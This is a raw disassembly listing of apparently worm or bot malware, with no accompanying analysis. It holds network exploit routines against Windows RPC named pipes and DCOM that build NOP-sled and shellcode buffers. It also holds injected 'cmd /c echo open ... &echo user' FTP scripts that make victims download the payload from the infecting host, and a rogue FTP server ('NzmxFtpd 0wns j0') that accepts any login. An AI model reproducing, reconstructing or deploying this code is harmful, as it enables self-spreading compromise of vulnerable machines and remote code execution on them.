--------------------------------------------------------------------------- loc_404940: ; CODE XREF: sub_404862+9Cj ; sub_404862+A4j push [ebp+Memory] ; Memory call _free pop ecx loc_404949: ; CODE XREF: sub_404862+61j xor al, al loc_40494B: ; CODE XREF: sub_404862+D8j ; sub_404862+DCj pop edi pop esi pop ebx leave retn sub_404862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_404950(size_t Size,void *Memory) sub_404950 proc near ; CODE XREF: UPX0:00404F4Ep var_60F0 = qword ptr -60F0h var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh Dest = byte ptr -20DCh Dst = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h Src = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 Size = dword ptr 8 Memory = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call __alloca_probe push ebx push esi push edi push offset a_ ; "." push [ebp+Size] call unknown_libname_4 ; Microsoft VisualC 2-8/net runtime pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_4049C3 push [ebp+Size] mov esi, 2000h lea eax, [ebp+Dest] push offset aSIpc ; "\\\\%s\\ipc$" push esi ; Count push eax ; Dest call __snprintf push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dest] add esp, 1Ch mov [ebp+var_C8], eax mov eax, offset byte_4397BC push ebx push eax push eax lea eax, [ebp+Dst] push eax call sub_421F50 jmp short loc_4049C8 ; --------------------------------------------------------------------------- loc_4049C3: ; CODE XREF: sub_404950+23j mov esi, 2000h loc_4049C8: ; CODE XREF: sub_404950+71j push [ebp+Size] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:dword_423080 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_404A0C loc_404A05: ; CODE XREF: sub_404950+194j ; sub_404950+36Aj ... xor al, al jmp loc_404E50 ; --------------------------------------------------------------------------- loc_404A0C: ; CODE XREF: sub_404950+B3j push 48h ; Size lea eax, [ebp+var_B8] push ebx ; Val push eax ; Dst call _memset push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax ; Size lea eax, [ebp+var_98] push offset dword_427C34 ; Src push eax ; Dst mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call _memcpy push 10h ; Size lea eax, [ebp+var_84] push offset dword_427C20 ; Src push eax ; Dst mov [ebp+var_88], 3 call _memcpy add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call ds:dword_423078 test eax, eax jnz short loc_404AE9 loc_404ADB: ; CODE XREF: sub_404950+265j push [ebp+var_4] call ds:dword_423074 jmp loc_404A05 ; --------------------------------------------------------------------------- loc_404AE9: ; CODE XREF: sub_404950+189j lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call ds:dword_423070 push ebx ; Time call _time push eax call sub_4172EE push 14h ; Size lea eax, [ebp+Src] push 41h ; Val push eax ; Dst call _memset push 1Ch ; Size lea eax, [ebp+var_30] push 41h ; Val push eax ; Dst call _memset add esp, 20h call _rand mov esi, [ebp+Memory] mov [ebp+Src], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp ds:byte_427BC8[esi], bl jz short loc_404B60 push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4397E0 jmp short loc_404B73 ; --------------------------------------------------------------------------- loc_404B60: ; CODE XREF: sub_404950+1FCj push 2 mov [ebp+var_28], ebx pop eax push 4 ; Size mov [ebp+var_24], eax mov [ebp+var_2C], eax push (offset loc_427C17+1) ; Src loc_404B73: ; CODE XREF: sub_404950+20Ej lea eax, [ebp+var_20] push eax ; Dst call _memcpy add esp, 0Ch call _rand mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call _rand cdq idiv edi mov eax, ds:dword_427BBC[esi] mov [ebp+var_18], ebx push eax ; Size mov [ebp+Size], eax inc edx mov [ebp+var_1C], edx call _malloc mov edi, eax pop ecx cmp edi, ebx jz loc_404ADB mov eax, [ebp+Size] add eax, 0FFFFFFFEh push eax ; Size push 90h ; Val push edi ; Dst call _memset mov eax, [ebp+Size] push 2 ; Size push ebx ; Val lea eax, [edi+eax-2] push eax ; Dst call _memset mov eax, ds:dword_427BC4[esi] push 7 ; Size add eax, edi push offset dword_427BB0 ; Src push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 15Ch ; Size add eax, 7 push offset dword_427A50 ; Src push eax ; Dst call _memcpy mov eax, ds:dword_427BC0[esi] add esp, 30h cmp ds:byte_427BC8[esi], bl mov [ebp+Memory], eax jz short loc_404C6C push 4 ; Size add eax, edi push offset dword_4397D8 ; Src push eax ; Dst call _memcpy add [ebp+Memory], 0Ch mov esi, offset dword_427BE0 mov eax, [ebp+Memory] push 4 ; Size add eax, edi push esi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Memory] push 4 ; Size push esi ; Src lea eax, [eax+edi+24h] push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 4 ; Size add eax, 0Ch push esi ; Src push eax ; Dst call _memcpy add esp, 30h jmp short loc_404C94 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_404950+2CDj add eax, edi mov [ebp+var_8], 10h mov [ebp+Memory], eax mov esi, offset dword_427BE0 loc_404C7D: ; CODE XREF: sub_404950+342j push 4 ; Size push esi ; Src push [ebp+Memory] ; Dst call _memcpy add [ebp+Memory], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_404C7D loc_404C94: ; CODE XREF: sub_404950+31Aj mov eax, [ebp+Size] add eax, 42h push eax ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_404CBF push [ebp+var_4] call ds:dword_423074 push edi ; Memory call _free pop ecx jmp loc_404A05 ; --------------------------------------------------------------------------- loc_404CBF: ; CODE XREF: sub_404950+358j mov eax, [ebp+Size] add eax, 42h push eax ; Size push ebx ; double push esi ; Dst call _memset lea eax, [ebp+Src] push 14h ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [ebp+Size] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul ds:flt_42328C fstp [esp+60F0h+var_60F0] call _ceil call __ftol push [ebp+Size] ; Size mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Size] add esp, 14h add eax, 20h test al, 3 mov [ebp+Memory], eax jz short loc_404D2C loc_404D24: ; CODE XREF: sub_404950+3D7j inc eax test al, 3 jnz short loc_404D24 mov [ebp+Memory], eax loc_404D2C: ; CODE XREF: sub_404950+3D2j lea ecx, [ebp+var_30] push 1Ch ; Size add eax, esi push ecx ; Src push eax ; Dst call _memcpy add [ebp+Memory], 1Ch push edi ; Memory call _free push 18h ; Size lea eax, [ebp+var_48] push ebx ; Val push eax ; Dst call _memset push 14h ; Size lea eax, [ebp+var_5C] push ebx ; Val push eax ; Dst mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call _memset add esp, 28h push ebx push ebx push 1 push ebx call ds:dword_42308C ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+Size+3], bl mov dword ptr [ebp+var_10+4], ebx loc_404D99: ; CODE XREF: sub_404950+4D3j cmp dword ptr [ebp+var_10+4], 2 jge loc_404E2E push 1 ; char push 10B8h ; int push [ebp+Memory] ; Memory inc dword ptr [ebp+var_10+4] push esi ; Src lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] ; int rep movsd call sub_404862 add esp, 2Ch test al, al jz short loc_404E2B cmp [ebp+var_4C], ebx jz short loc_404E1D lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call ds:dword_423070 test eax, eax jnz short loc_404E04 call ds:dword_423088 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_404A05 loc_404E04: ; CODE XREF: sub_404950+4A1j push 3E8h push [ebp+var_4C] call ds:dword_423084 ; WaitForSingleObject cmp eax, 102h jnz short loc_404E1D mov byte ptr [ebp+Size+3], 1 loc_404E1D: ; CODE XREF: sub_404950+480j ; sub_404950+4C7j cmp byte ptr [ebp+Size+3], bl mov esi, [ebp+var_8] jz loc_404D99 jmp short loc_404E2E ; --------------------------------------------------------------------------- loc_404E2B: ; CODE XREF: sub_404950+47Bj mov esi, [ebp+var_8] loc_404E2E: ; CODE XREF: sub_404950+44Dj ; sub_404950+4D9j push [ebp+var_4] mov edi, ds:dword_423074 call edi push esi ; Memory call _free cmp [ebp+var_4C], ebx pop ecx jz short loc_404E4A push [ebp+var_4C] call edi loc_404E4A: ; CODE XREF: sub_404950+4F3j cmp byte ptr [ebp+Size+3], bl setnz al loc_404E50: ; CODE XREF: sub_404950+B7j pop edi pop esi pop ebx leave retn sub_404950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E55 proc near ; CODE XREF: UPX0:00404F6Cp var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4231DC ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_423200 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_423214 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_404F23 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_42321C ; connect cmp eax, 0FFFFFFFFh jz short loc_404F23 mov edi, 400h push esi mov esi, ds:dword_423204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42E664 push eax push eax push ds:dword_4397EC push [ebp+arg_0] call sub_40AEDB pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Str] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_423208 ; send cmp eax, 0FFFFFFFFh jnz short loc_404F27 loc_404F23: ; CODE XREF: sub_404E55+50j ; sub_404E55+62j xor eax, eax jmp short loc_404F3E ; --------------------------------------------------------------------------- loc_404F27: ; CODE XREF: sub_404E55+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_423220 ; closesocket push 1 pop eax loc_404F3E: ; CODE XREF: sub_404E55+D0j pop edi pop esi pop ebx leave retn sub_404E55 endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_404F48: ; CODE XREF: UPX0:00404F8Ej lea eax, [esp+14h] push ebx push eax call sub_404950 pop ecx test al, al pop ecx jz short loc_404F7B push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404E55 add esp, 0C0h test eax, eax jnz short loc_404F96 loc_404F7B: ; CODE XREF: UPX0:00404F57j test ebx, ebx jnz short loc_404F8A push 7D0h call ds:dword_423060 ; Sleep loc_404F8A: ; CODE XREF: UPX0:00404F7Dj inc ebx cmp ebx, 2 jb short loc_404F48 xor eax, eax loc_404F92: ; CODE XREF: UPX0:00404F99j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_404F96: ; CODE XREF: UPX0:00404F79j push 1 pop eax jmp short loc_404F92 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9B proc near ; CODE XREF: UPX0:0040511Ap var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4231DC ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_423200 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_423214 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405069 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_42321C ; connect cmp eax, 0FFFFFFFFh jz short loc_405069 mov edi, 400h push esi mov esi, ds:dword_423204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42E664 push eax push eax push ds:dword_4397EC push [ebp+arg_0] call sub_40AEDB pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Str] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_423208 ; send cmp eax, 0FFFFFFFFh jnz short loc_40506D loc_405069: ; CODE XREF: sub_404F9B+50j ; sub_404F9B+62j xor eax, eax jmp short loc_405084 ; --------------------------------------------------------------------------- loc_40506D: ; CODE XREF: sub_404F9B+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_423220 ; closesocket push 1 pop eax loc_405084: ; CODE XREF: sub_404F9B+D0j pop edi pop esi pop ebx leave retn sub_404F9B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call ds:dword_43C658 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_43C618 ; htons push 6 push 1 push 2 mov [ebp-0Eh], ax call ds:dword_423214 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FB lea eax, [ebp-10h] push 10h push eax push esi call ds:dword_42321C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050DC push esi jmp short loc_4050F5 ; --------------------------------------------------------------------------- loc_4050DC: ; CODE XREF: UPX0:004050D7j push 0 push 1213h push offset dword_427C60 push esi call ds:dword_423208 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FF loc_4050F5: ; CODE XREF: UPX0:004050DAj call ds:dword_423220 ; closesocket loc_4050FB: ; CODE XREF: UPX0:004050C5j xor eax, eax jmp short loc_405141 ; --------------------------------------------------------------------------- loc_4050FF: ; CODE XREF: UPX0:004050F3j call ds:dword_423220 ; closesocket push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9B add esp, 0C0h test eax, eax jz short loc_40513E mov eax, [ebp+0B0h] imul eax, 3Ch inc ds:dword_429CB8[eax] lea eax, dword_429CB8[eax] loc_40513E: ; CODE XREF: UPX0:00405127j push 1 pop eax loc_405141: ; CODE XREF: UPX0:004050FDj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405145 proc near ; CODE XREF: UPX0:00405341p var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_C], eax mov ax, ds:word_429040 push eax call ds:dword_43C618 ; htons push edi push 1 push 2 mov [ebp+var_E], ax call ds:dword_43C698 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525C lea eax, [ebp+Dst] push 10h push eax push esi call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz loc_40525C mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call ds:dword_43C630 ; recv push ds:dword_4397EC push [ebp+arg_0] call sub_40AEDB pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push esi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_40525C push 1F4h call ds:dword_423060 ; Sleep push offset byte_42E664 push offset aS_6 ; "%s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push esi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_405260 loc_40525C: ; CODE XREF: sub_405145+51j ; sub_405145+67j ... xor al, al jmp short loc_40527A ; --------------------------------------------------------------------------- loc_405260: ; CODE XREF: sub_405145+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call ds:dword_43C630 ; recv push esi call ds:dword_43C6B0 ; closesocket mov al, 1 loc_40527A: ; CODE XREF: sub_405145+119j pop edi pop esi pop ebx leave retn sub_405145 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call ds:dword_4231FC ; gethostbyname mov esi, eax test esi, esi jnz short loc_4052A9 lea eax, [ebp+0Ch] push eax call ds:dword_4231DC ; inet_addr mov ebx, eax jmp short loc_4052AF ; --------------------------------------------------------------------------- loc_4052A9: ; CODE XREF: UPX0:00405299j mov ebx, [ebp+0C0h] loc_4052AF: ; CODE XREF: UPX0:004052A7j push 11h push 2 push 2 call ds:dword_423214 ; socket test esi, esi mov edi, eax jz short loc_4052D9 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call _memcpy add esp, 0Ch jmp short loc_4052DC ; --------------------------------------------------------------------------- loc_4052D9: ; CODE XREF: UPX0:004052BFj mov [ebp-0Ch], ebx loc_4052DC: ; CODE XREF: UPX0:004052D7j test esi, esi jz short loc_4052EA mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052F0 ; --------------------------------------------------------------------------- loc_4052EA: ; CODE XREF: UPX0:004052DEj mov word ptr [ebp-10h], 2 loc_4052F0: ; CODE XREF: UPX0:004052E8j push 599h call ds:dword_423200 ; htons mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call ds:dword_42321C ; connect test eax, eax jnz loc_4053BF push eax push 1C9h push offset loc_428E74 push edi call ds:dword_423208 ; send push 3E8h call ds:dword_423060 ; Sleep sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405145 add esp, 0BCh test al, al jz short loc_405355 push 1 pop eax jmp short loc_4053D1 ; --------------------------------------------------------------------------- loc_405355: ; CODE XREF: UPX0:0040534Ej lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_4290B0 lea eax, [ebp-210h] push 200h push eax call __snprintf push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D670 lea eax, [ebp-210h] push eax call sub_40BF6F mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc ds:dword_429CB8[eax] lea eax, dword_429CB8[eax] jmp short loc_4053CF ; --------------------------------------------------------------------------- loc_4053BF: ; CODE XREF: UPX0:0040530Ej push 1 push edi call ds:dword_4231F8 ; shutdown push edi call ds:dword_423220 ; closesocket loc_4053CF: ; CODE XREF: UPX0:004053BDj xor eax, eax loc_4053D1: ; CODE XREF: UPX0:00405353j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D6 proc near ; DATA XREF: sub_407243+226o var_A6C = byte ptr -0A6Ch var_8DC = dword ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h Dst = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h Str = byte ptr -0F8h var_C4 = byte ptr -0C4h Str1 = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call ds:dword_4231E4 ; WSAStartup push edi ; Time call _time push eax call sub_4172EE push 0FEB0h push 406h call sub_41543F add esp, 10h mov ds:dword_4397EC, eax push edi push ebx push 2 call ds:dword_423214 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call ds:dword_4231E8 ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call ds:dword_423218 ; ioctlsocket mov ax, word ptr ds:dword_4397EC mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call ds:dword_423200 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call ds:dword_4231EC ; bind test eax, eax jge short loc_4054AB mov eax, ebx jmp loc_4059D2 ; --------------------------------------------------------------------------- loc_4054AB: ; CODE XREF: sub_4053D6+CCj push 0Ah push esi call ds:dword_4231F0 ; listen mov [ebp+var_228], ebx mov ebx, ds:dword_423208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C9: ; CODE XREF: sub_4053D6+12Cj ; sub_4053D6+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_42320C ; select cmp eax, 0FFFFFFFFh jz loc_4059CF xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C9 loc_405504: ; CODE XREF: sub_4053D6+5EEj xor esi, esi push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 64h ; Size lea eax, [ebp+Str1] push esi ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_421F56 ; __WSAFDIsSet test eax, eax jz loc_4059BD cmp edi, [ebp+var_C] jnz short loc_4055BB lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call ds:dword_4231F4 ; accept cmp eax, 0FFFFFFFFh jz loc_4059BD xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_405585 lea edx, [ebp+var_224] loc_405575: ; CODE XREF: sub_4053D6+1ADj cmp [edx], eax jz short loc_405585 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405575 loc_405585: ; CODE XREF: sub_4053D6+197j ; sub_4053D6+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A3 cmp [ebp+var_228], 40h jnb short loc_4055A3 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A3: ; CODE XREF: sub_4053D6+1B5j ; sub_4053D6+1BEj cmp eax, [ebp+var_4] jle short loc_4055AB mov [ebp+var_4], eax loc_4055AB: ; CODE XREF: sub_4053D6+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BD ; --------------------------------------------------------------------------- loc_4055BB: ; CODE XREF: sub_4053D6+169j push esi lea eax, [ebp+Dst] push 64h push eax push edi call ds:dword_423204 ; recv test eax, eax jg short loc_405622 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_405616 lea eax, [ebp+var_224] loc_4055E2: ; CODE XREF: sub_4053D6+216j cmp [eax], edi jz short loc_4055F0 inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E2 jmp short loc_405616 ; --------------------------------------------------------------------------- loc_4055F0: ; CODE XREF: sub_4053D6+20Ej dec edx cmp ecx, edx jnb short loc_405610 lea eax, [ebp+ecx*4+var_224] loc_4055FC: ; CODE XREF: sub_4053D6+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FC loc_405610: ; CODE XREF: sub_4053D6+21Dj dec [ebp+var_228] loc_405616: ; CODE XREF: sub_4053D6+204j ; sub_4053D6+218j push edi call ds:dword_423220 ; closesocket jmp loc_4059BD ; --------------------------------------------------------------------------- loc_405622: ; CODE XREF: sub_4053D6+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+Dst] push offset aSS ; "%s %s" push eax ; Src call _sscanf lea eax, [ebp+Str1] push offset aUser_0 ; "USER" push eax ; Str1 call _strcmp add esp, 18h test eax, eax jnz short loc_405666 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_405666: ; CODE XREF: sub_4053D6+281j lea eax, [ebp+Str1] push offset aPass ; "PASS" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40568A push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_40568A: ; CODE XREF: sub_4053D6+2A5j lea eax, [ebp+Str1] push offset aSyst ; "SYST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4056AE push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_4056AE: ; CODE XREF: sub_4053D6+2C9j lea eax, [ebp+Str1] push offset aRest ; "REST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4056D2 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_4056D2: ; CODE XREF: sub_4053D6+2EDj lea eax, [ebp+Str1] push offset off_4292D0 ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4056F6 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_4056F6: ; CODE XREF: sub_4053D6+311j lea eax, [ebp+Str1] push offset aType ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop 